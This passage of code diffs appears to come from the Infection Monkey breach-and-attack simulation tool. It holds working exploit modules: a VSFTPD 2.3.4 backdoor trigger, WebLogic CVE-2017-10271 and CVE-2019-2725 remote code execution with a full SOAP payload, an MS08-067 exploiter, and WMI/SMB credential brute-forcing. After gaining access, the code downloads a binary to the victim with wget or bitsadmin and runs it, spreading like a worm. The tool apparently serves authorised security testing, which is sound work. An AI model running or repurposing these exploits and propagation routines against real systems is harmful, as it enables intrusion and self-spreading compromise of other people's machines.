file_uploaded = True
T1105Telem(ScanStatus.USED,
get_interface_to_target(host.ip_addr),
host.ip_addr,
dst_path).send()
LOG.info("Copied monkey file '%s' to remote share '%s' [%s] on victim %r",
src_path, share_name, share_path, host)
break
except Exception as exc:
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
share_name, host, exc)
T1105Telem(ScanStatus.SCANNED,
get_interface_to_target(host.ip_addr),
host.ip_addr,
dst_path).send()
continue
finally:
try:
smb.logoff()
except:
pass
smb = None
if not file_uploaded:
LOG.debug("Couldn't find a writable share for exploiting victim %r with "
"username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash))
return None
return remote_full_path
@staticmethod
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
try:
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
except Exception as exc:
LOG.debug("SMB connection to %r on port 445 failed,"
" trying port 139 (%s)", host, exc)
try:
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
except Exception as exc:
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
host, exc)
return None, None
dialect = {SMB_DIALECT: "SMBv1",
SMB2_DIALECT_002: "SMBv2.0",
SMB2_DIALECT_21: "SMBv2.1"}.get(smb.getDialect(), "SMBv3.0")
# we know this should work because the WMI connection worked
try:
smb.login(username, password, '', lm_hash, ntlm_hash)
except Exception as exc:
LOG.debug(
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
"LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
host,
username,
Configuration.hash_sensitive_data(password),
Configuration.hash_sensitive_data(lm_hash),
Configuration.hash_sensitive_data(ntlm_hash),
exc)
return None, dialect
smb.setTimeout(timeout)
return smb, dialect
@staticmethod
def execute_rpc_call(smb, rpc_func, *args):
dce = SmbTools.get_dce_bind(smb)
rpc_method_wrapper = getattr(srvs, rpc_func, None)
if not rpc_method_wrapper:
raise ValueError("Cannot find RPC method '%s'" % (rpc_method_wrapper,))
return rpc_method_wrapper(dce, *args)
@staticmethod
def get_dce_bind(smb):
rpctransport = transport.SMBTransport(smb.getRemoteHost(),
smb.getRemoteHost(),
filename=r'\srvsvc',
smb_connection=smb)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(srvs.MSRPC_UUID_SRVS)
return dce

View File

@ -0,0 +1,150 @@
import logging
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class DceRpcException(Exception):
pass
class AccessDeniedException(Exception):
def __init__(self, host, username, password, domain):
super(AccessDeniedException, self).__init__("Access is denied to %r with username %s\\%s and password %r" %
(host, domain, username, password))
class WmiTools(object):
class WmiConnection(object):
def __init__(self):
self._dcom = None
self._iWbemServices = None
@property
def connected(self):
return self._dcom is not None
def connect(self, host, username, password, domain=None, lmhash="", nthash=""):
if not domain:
domain = host.ip_addr
dcom = DCOMConnection(host.ip_addr,
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
oxidResolver=True)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
wmi.IID_IWbemLevel1Login)
except Exception as exc:
dcom.disconnect()
if "rpc_s_access_denied" == exc.message:
raise AccessDeniedException(host, username, password, domain)
raise
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
try:
self._iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
self._dcom = dcom
except:
dcom.disconnect()
raise
finally:
iWbemLevel1Login.RemRelease()
def close(self):
assert self.connected, "WmiConnection isn't connected"
self._iWbemServices.RemRelease()
self._iWbemServices = None
self._dcom.disconnect()
self._dcom = None
@staticmethod
def dcom_wrap(func):
def _wrapper(*args, **kwarg):
try:
return func(*args, **kwarg)
finally:
WmiTools.dcom_cleanup()
return _wrapper
@staticmethod
def dcom_cleanup():
for port_map in DCOMConnection.PORTMAPS.keys():
del DCOMConnection.PORTMAPS[port_map]
for oid_set in DCOMConnection.OID_SET.keys():
del DCOMConnection.OID_SET[port_map]
DCOMConnection.OID_SET = {}
DCOMConnection.PORTMAPS = {}
if DCOMConnection.PINGTIMER:
DCOMConnection.PINGTIMER.cancel()
DCOMConnection.PINGTIMER.join()
DCOMConnection.PINGTIMER = None
@staticmethod
def get_object(wmi_connection, object_name):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
return wmi_connection._iWbemServices.GetObject(object_name)[0]
@staticmethod
def list_object(wmi_connection, object_name, fields=None, where=None):
assert isinstance(wmi_connection, WmiTools.WmiConnection)
assert wmi_connection.connected, "WmiConnection isn't connected"
if fields:
fields_query = ",".join(fields)
else:
fields_query = "*"
wql_query = "SELECT %s FROM %s" % (fields_query, object_name)
if where:
wql_query += " WHERE %s" % (where,)
LOG.debug("Execution WQL query: %r", wql_query)
iEnumWbemClassObject = wmi_connection._iWbemServices.ExecQuery(wql_query)
query = []
try:
while True:
try:
next_item = iEnumWbemClassObject.Next(0xffffffff, 1)[0]
record = next_item.getProperties()
if not fields:
fields = record.keys()
query_record = {}
for key in fields:
query_record[key] = record[key]['value']
query.append(query_record)
except DCERPCSessionError as exc:
if 1 == exc.error_code:
break
raise
finally:
iEnumWbemClassObject.RemRelease()
return query

View File

@ -0,0 +1,149 @@
"""
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
only vulnerable version is "2.3.4"
"""
import socket
import time
from common.utils.attack_utils import ScanStatus
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.helpers import get_target_monkey, build_monkey_commandline, get_monkey_depth
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.model import MONKEY_ARG, CHMOD_MONKEY, RUN_MONKEY, WGET_HTTP_UPLOAD, DOWNLOAD_TIMEOUT
from logging import getLogger
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
LOG = getLogger(__name__)
__author__ = 'D3fa1t'
FTP_PORT = 21 # port at which vsftpd runs
BACKDOOR_PORT = 6200 # backdoor port
RECV_128 = 128 # In Bytes
UNAME_M = "uname -m"
ULIMIT_V = "ulimit -v " # To increase the memory limit
UNLIMITED = "unlimited;"
USERNAME = b'USER D3fa1t:)' # Ftp Username should end with :) to trigger the backdoor
PASSWORD = b'PASS please' # Ftp Password
FTP_TIME_BUFFER = 1 # In seconds
class VSFTPDExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux']
_EXPLOITED_SERVICE = 'VSFTPD'
def __init__(self, host):
self._update_timestamp = 0
super(VSFTPDExploiter, self).__init__(host)
self.skip_exist = self._config.skip_exploit_if_file_exist
def socket_connect(self, s, ip_addr, port):
try:
s.connect((ip_addr, port))
return True
except socket.error as e:
LOG.error('Failed to connect to %s', self.host.ip_addr)
return False
def socket_send_recv(self, s, message):
try:
s.send(message)
return s.recv(RECV_128).decode('utf-8')
except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False
def socket_send(self, s, message):
try:
s.send(message)
return True
except socket.error as e:
LOG.error('Failed to send payload to %s', self.host.ip_addr)
return False
def _exploit_host(self):
LOG.info("Attempting to trigger the Backdoor..")
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
ftp_socket.recv(RECV_128).decode('utf-8')
if self.socket_send_recv(ftp_socket, USERNAME + '\n'):
time.sleep(FTP_TIME_BUFFER)
self.socket_send(ftp_socket, PASSWORD + '\n')
ftp_socket.close()
LOG.info('Backdoor Enabled, Now we can run commands')
else:
LOG.error('Failed to trigger backdoor on %s', self.host.ip_addr)
return False
LOG.info('Attempting to connect to backdoor...')
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr)
uname_m = str.encode(UNAME_M + '\n')
response = self.socket_send_recv(backdoor_socket, uname_m)
if response:
LOG.info('Response for uname -m: %s', response)
if '' != response.lower().strip():
# command execution is successful
self.host.os['machine'] = response.lower().strip()
self.host.os['type'] = 'linux'
else:
LOG.info("Failed to execute command uname -m on victim %r ", self.host)
src_path = get_target_monkey(self.host)
LOG.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
if not src_path:
LOG.info("Can't find suitable monkey executable for host %r", self.host)
return False
# Create a http server to host the monkey
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
dropper_target_path_linux = self._config.dropper_target_path_linux
LOG.info("Download link for monkey is %s", http_path)
# Upload the monkey to the machine
monkey_path = dropper_target_path_linux
download_command = WGET_HTTP_UPLOAD % {'monkey_path': monkey_path, 'http_path': http_path}
download_command = str.encode(str(download_command) + '\n')
LOG.info("Download command is %s", download_command)
if self.socket_send(backdoor_socket, download_command):
LOG.info('Monkey is now Downloaded ')
else:
LOG.error('Failed to download monkey at %s', self.host.ip_addr)
return False
http_thread.join(DOWNLOAD_TIMEOUT)
http_thread.stop()
# Change permissions
change_permission = CHMOD_MONKEY % {'monkey_path': monkey_path}
change_permission = str.encode(str(change_permission) + '\n')
LOG.info("change_permission command is %s", change_permission)
backdoor_socket.send(change_permission)
T1222Telem(ScanStatus.USED, change_permission, self.host).send()
# Run monkey on the machine
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
# Set unlimited to memory
# we don't have to revert the ulimit because it just applies to the shell obtained by our exploit
run_monkey = ULIMIT_V + UNLIMITED + run_monkey
run_monkey = str.encode(str(run_monkey) + '\n')
time.sleep(FTP_TIME_BUFFER)
if backdoor_socket.send(run_monkey):
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", self._config.dropper_target_path_linux,
self.host, run_monkey)
self.add_executed_cmd(run_monkey)
return True
else:
return False

View File

@ -5,8 +5,12 @@ from abc import abstractmethod
from infection_monkey.exploit import HostExploiter
from infection_monkey.model import *
from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth, build_monkey_commandline, HTTPTools
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.http_tools import HTTPTools
from infection_monkey.network.tools import check_tcp_port, tcp_port_to_service
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
__author__ = 'VakarisZ'
@ -64,7 +68,7 @@ class WebRCE(HostExploiter):
return exploit_config
def exploit_host(self):
def _exploit_host(self):
"""
Method that contains default exploitation workflow
:return: True if exploited, False otherwise
@ -207,13 +211,12 @@ class WebRCE(HostExploiter):
"""
for url in urls:
if self.check_if_exploitable(url):
self.add_vuln_url(url)
self.vulnerable_urls.append(url)
if stop_checking:
break
if not self.vulnerable_urls:
LOG.info("No vulnerable urls found, skipping.")
# We add urls to param used in reporting
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
def get_host_arch(self, url):
"""
@ -306,7 +309,8 @@ class WebRCE(HostExploiter):
"""
if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp:
LOG.info("Powershell not found in host. Using bitsadmin to download.")
backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
backup_command = BITSADMIN_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path}
T1197Telem(ScanStatus.USED, self.host, BITS_UPLOAD_STRING).send()
resp = self.exploit(url, backup_command)
return resp
@ -336,7 +340,7 @@ class WebRCE(HostExploiter):
command = self.get_command(paths['dest_path'], http_path, commands)
resp = self.exploit(url, command)
self.add_executed_cmd(command)
resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path)
http_thread.join(DOWNLOAD_TIMEOUT)
@ -364,8 +368,10 @@ class WebRCE(HostExploiter):
command = CHMOD_MONKEY % {'monkey_path': path}
try:
resp = self.exploit(url, command)
T1222Telem(ScanStatus.USED, command, self.host).send()
except Exception as e:
LOG.error("Something went wrong while trying to change permission: %s" % e)
T1222Telem(ScanStatus.SCANNED, "", self.host).send()
return False
# If exploiter returns True / False
if type(resp) is bool:
@ -406,6 +412,7 @@ class WebRCE(HostExploiter):
# If exploiter returns True / False
if type(resp) is bool:
LOG.info("Execution attempt successfully finished")
self.add_executed_cmd(command)
return resp
# If exploiter returns command output, we can check for execution errors
if 'is not recognized' in resp or 'command not found' in resp:
@ -418,6 +425,8 @@ class WebRCE(HostExploiter):
LOG.error("Something went wrong when trying to execute remote monkey: %s" % e)
return False
LOG.info("Execution attempt finished")
self.add_executed_cmd(command)
return resp
def get_monkey_upload_path(self, url_to_monkey):

View File

@ -1,3 +1,50 @@
from __future__ import print_function
import threading
import logging
import time
import copy
from requests import post, exceptions
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.network.info import get_free_tcp_port
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should we wait after each request in seconds
REQUEST_DELAY = 0.1
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
# Malicious requests' headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', 'windows']
_EXPLOITED_SERVICE = 'Weblogic'
def _exploit_host(self):
exploiters = [WebLogic20192725, WebLogic201710271]
for exploiter in exploiters:
if exploiter(self.host).exploit_host():
return True
# Exploit based of:
# Kevin Kirsche (d3c3pt10n)
# https://github.com/kkirsche/CVE-2017-10271
@ -5,56 +52,29 @@
# Luffin from Github
# https://github.com/Luffin/CVE-2017-10271
# CVE: CVE-2017-10271
class WebLogic201710271(WebRCE):
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
"/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
from requests import post, exceptions
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import threading
import logging
import time
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
# How long server waits for get request in seconds
SERVER_TIMEOUT = 4
# How long should be wait after each request in seconds
REQUEST_DELAY = 0.0001
# How long to wait for a sign(request from host) that server is vulnerable. In seconds
REQUEST_TIMEOUT = 5
# How long to wait for response in exploitation. In seconds
EXECUTION_TIMEOUT = 15
URLS = ["/wls-wsat/CoordinatorPortType",
"/wls-wsat/CoordinatorPortType11",
"/wls-wsat/ParticipantPortType",
"/wls-wsat/ParticipantPortType11",
"/wls-wsat/RegistrationPortTypeRPC",
"/wls-wsat/RegistrationPortTypeRPC11",
"/wls-wsat/RegistrationRequesterPortType",
"/wls-wsat/RegistrationRequesterPortType11"]
# Malicious request's headers:
HEADERS = {
"Content-Type": "text/xml;charset=UTF-8",
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
}
class WebLogicExploiter(WebRCE):
_TARGET_OS_TYPE = ['linux', 'windows']
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh',
super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh',
'win32': 'monkey32.exe',
'win64': 'monkey64.exe'})
def get_exploit_config(self):
exploit_config = super(WebLogicExploiter, self).get_exploit_config()
exploit_config = super(WebLogic201710271, self).get_exploit_config()
exploit_config['blind_exploit'] = True
exploit_config['stop_checking_urls'] = True
exploit_config['url_extensions'] = URLS
exploit_config['url_extensions'] = WebLogic201710271.URLS
return exploit_config
def exploit(self, url, command):
@ -65,8 +85,9 @@ class WebLogicExploiter(WebRCE):
try:
post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False)
except Exception as e:
print('[!] Connection Error')
print(e)
LOG.error("Connection error: %s" % e)
return False
return True
def add_vulnerable_urls(self, urls, stop_checking=False):
@ -89,7 +110,7 @@ class WebLogicExploiter(WebRCE):
if httpd.get_requests > 0:
# Add all urls because we don't know which one is vulnerable
self.vulnerable_urls.extend(urls)
self._exploit_info['vulnerable_urls'] = self.vulnerable_urls
self.exploit_info['vulnerable_urls'] = self.vulnerable_urls
else:
LOG.info("No vulnerable urls found, skipping.")
@ -194,6 +215,7 @@ class WebLogicExploiter(WebRCE):
Http server built to wait for GET requests. Because oracle web logic vuln is blind,
we determine if we can exploit by either getting a GET request from host or not.
"""
def __init__(self, local_ip, local_port, lock, max_requests=1):
self.local_ip = local_ip
self.local_port = local_port
@ -210,6 +232,7 @@ class WebLogicExploiter(WebRCE):
def do_GET():
LOG.info('Server received a request from vulnerable machine')
self.get_requests += 1
LOG.info('Server waiting for exploited machine request...')
httpd = HTTPServer((self.local_ip, self.local_port), S)
httpd.daemon = True
@ -222,3 +245,88 @@ class WebLogicExploiter(WebRCE):
def stop(self):
self._stopped = True
# Exploit based of:
# Andres Rodriguez (acamro)
# https://github.com/rapid7/metasploit-framework/pull/11780
class WebLogic20192725(WebRCE):
URLS = ["_async/AsyncResponseServiceHttps"]
DELAY_BEFORE_EXPLOITING_SECONDS = 5
_TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE
_EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE
def __init__(self, host):
super(WebLogic20192725, self).__init__(host)
def get_exploit_config(self):
exploit_config = super(WebLogic20192725, self).get_exploit_config()
exploit_config['url_extensions'] = WebLogic20192725.URLS
exploit_config['blind_exploit'] = True
exploit_config['dropper'] = True
return exploit_config
def execute_remote_monkey(self, url, path, dropper=False):
# Without delay exploiter tries to launch monkey file that is still finishing up after downloading.
time.sleep(WebLogic20192725.DELAY_BEFORE_EXPLOITING_SECONDS)
super(WebLogic20192725, self).execute_remote_monkey(url, path, dropper)
def exploit(self, url, command):
if 'linux' in self.host.os['type']:
payload = self.get_exploit_payload('/bin/sh', '-c', command)
else:
payload = self.get_exploit_payload('cmd', '/c', command)
try:
resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT)
return resp
except Exception as e:
LOG.error("Connection error: %s" % e)
return False
def check_if_exploitable(self, url):
headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''})
res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT)
if res.status_code == 500 and "<faultcode>env:Client</faultcode>" in res.text:
return True
else:
return False
@staticmethod
def get_exploit_payload(cmd_base, cmd_opt, command):
"""
Formats the payload used to exploit weblogic servers
:param cmd_base: What command prompt to use eg. cmd
:param cmd_opt: cmd_base commands parameters. eg. /c (to run command)
:param command: command itself
:return: Formatted payload
"""
empty_payload = '''
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"
xmlns:wsa=\"http://www.w3.org/2005/08/addressing\" xmlns:asy=\"http://www.bea.com/async/AsyncResponseService\">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">
<void class=\"java.lang.ProcessBuilder\">
<array class=\"java.lang.String\" length=\"3\">
<void index=\"0\">
<string>{cmd_base}</string>
</void>
<void index=\"1\">
<string>{cmd_opt}</string>
</void>
<void index=\"2\">
<string>{cmd_payload}</string>
</void>
</array>
<void method=\"start\"/>
</void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body>
</soapenv:Envelope>'''
payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command)
return payload

View File

@ -14,11 +14,11 @@ from enum import IntEnum
from impacket import uuid
from impacket.dcerpc.v5 import transport
from infection_monkey.exploit.tools import SmbTools, get_target_monkey, get_monkey_depth
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline
from . import HostExploiter
LOG = getLogger(__name__)
@ -92,7 +92,7 @@ class SRVSVC_Exploit(object):
def get_telnet_port(self):
"""get_telnet_port()
The port on which the Telnet service will listen.
"""
@ -100,7 +100,7 @@ class SRVSVC_Exploit(object):
def start(self):
"""start() -> socket
Exploit the target machine and return a socket connected to it's
listening Telnet service.
"""
@ -153,6 +153,7 @@ class SRVSVC_Exploit(object):
class Ms08_067_Exploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
_EXPLOITED_SERVICE = 'Microsoft Server Service'
_windows_versions = {'Windows Server 2003 3790 Service Pack 2': WindowsVersion.Windows2003_SP2,
'Windows Server 2003 R2 3790 Service Pack 2': WindowsVersion.Windows2003_SP2}
@ -174,7 +175,7 @@ class Ms08_067_Exploiter(HostExploiter):
self.host.os.get('version') in self._windows_versions.keys()
return False
def exploit_host(self):
def _exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:

View File

@ -6,8 +6,11 @@ import traceback
from impacket.dcerpc.v5.rpcrt import DCERPCException
from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
from infection_monkey.exploit.tools.helpers import get_target_monkey, \
get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.wmi_tools import AccessDeniedException
from infection_monkey.exploit.tools.smb_tools import SmbTools
from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from common.utils.exploit_enum import ExploitType
@ -17,12 +20,13 @@ LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
_EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
def __init__(self, host):
super(WmiExploiter, self).__init__(host)
@WmiTools.dcom_wrap
def exploit_host(self):
def _exploit_host(self):
src_path = get_target_monkey(self.host)
if not src_path:
@ -32,8 +36,11 @@ class WmiExploiter(HostExploiter):
creds = self._config.get_exploit_user_password_or_hash_product()
for user, password, lm_hash, ntlm_hash in creds:
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
password_hashed = self._config.hash_sensitive_data(password)
lm_hash_hashed = self._config.hash_sensitive_data(lm_hash)
mtlm_hash_hashed = self._config.hash_sensitive_data(ntlm_hash)
creds_for_logging = "user, password (SHA-512), lm hash (SHA-512), ntlm hash (SHA-512): ({},{},{},{})".format(user, password_hashed, lm_hash_hashed, mtlm_hash_hashed)
LOG.debug(("Attempting to connect %r using WMI with " % self.host) + creds_for_logging)
wmi_connection = WmiTools.WmiConnection()
@ -41,25 +48,21 @@ class WmiExploiter(HostExploiter):
wmi_connection.connect(self.host, user, password, None, lm_hash, ntlm_hash)
except AccessDeniedException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging)
continue
except DCERPCException:
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
LOG.debug("Failed connecting to %r using WMI with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
LOG.debug(("Failed connecting to %r using WMI with " % self.host) + creds_for_logging)
continue
except socket.error:
LOG.debug("Network error in WMI connection to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
self.host, user, password, lm_hash, ntlm_hash)
LOG.debug(("Network error in WMI connection to %r with " % self.host) + creds_for_logging)
return False
except Exception as exc:
LOG.debug("Unknown WMI connection error to %r with "
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s') (%s):\n%s",
self.host, user, password, lm_hash, ntlm_hash, exc, traceback.format_exc())
LOG.debug(
("Unknown WMI connection error to %r with " % self.host)
+ creds_for_logging
+ (" (%s):\n%s" % (exc, traceback.format_exc()))
)
return False
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
@ -90,7 +93,8 @@ class WmiExploiter(HostExploiter):
# execute the remote dropper in case the path isn't final
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
build_monkey_commandline(
self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
else:
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
@ -103,6 +107,8 @@ class WmiExploiter(HostExploiter):
if (0 != result.ProcessId) and (0 == result.ReturnValue):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
self.add_vuln_port(port='unknown')
success = True
else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
@ -111,7 +117,8 @@ class WmiExploiter(HostExploiter):
result.RemRelease()
wmi_connection.close()
self.add_executed_cmd(cmdline)
return success
return False

View File

@ -7,8 +7,9 @@ import logging.config
import os
import sys
import traceback
from multiprocessing import freeze_support
import infection_monkey.utils as utils
from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
from infection_monkey.config import WormConfiguration, EXTERNAL_CONFIG_FILE
from infection_monkey.dropper import MonkeyDrops
from infection_monkey.model import MONKEY_ARG, DROPPER_ARG
@ -43,7 +44,7 @@ def main():
if 2 > len(sys.argv):
return True
freeze_support() # required for multiprocessing + pyinstaller on windows
monkey_mode = sys.argv[1]
if not (monkey_mode in [MONKEY_ARG, DROPPER_ARG]):
@ -68,7 +69,7 @@ def main():
else:
print("Config file wasn't supplied and default path: %s wasn't found, using internal default" % (config_file,))
print("Loaded Configuration: %r" % WormConfiguration.as_dict())
print("Loaded Configuration: %r" % WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()))
# Make sure we're not in a machine that has the kill file
kill_path = os.path.expandvars(
@ -79,10 +80,10 @@ def main():
try:
if MONKEY_ARG == monkey_mode:
log_path = utils.get_monkey_log_path()
log_path = get_monkey_log_path()
monkey_cls = InfectionMonkey
elif DROPPER_ARG == monkey_mode:
log_path = utils.get_dropper_log_path()
log_path = get_dropper_log_path()
monkey_cls = MonkeyDrops
else:
return True
@ -98,6 +99,7 @@ def main():
except OSError:
pass
LOG_CONFIG['handlers']['file']['filename'] = log_path
# noinspection PyUnresolvedReferences
LOG_CONFIG['root']['handlers'].append('file')
else:
del LOG_CONFIG['handlers']['file']
@ -126,8 +128,8 @@ def main():
json.dump(json_dict, config_fo, skipkeys=True, sort_keys=True, indent=4, separators=(',', ': '))
return True
except Exception:
LOG.exception("Exception thrown from monkey's start function")
except Exception as e:
LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e))
finally:
monkey.cleanup()

View File

@ -12,14 +12,12 @@ GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)'
DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, )
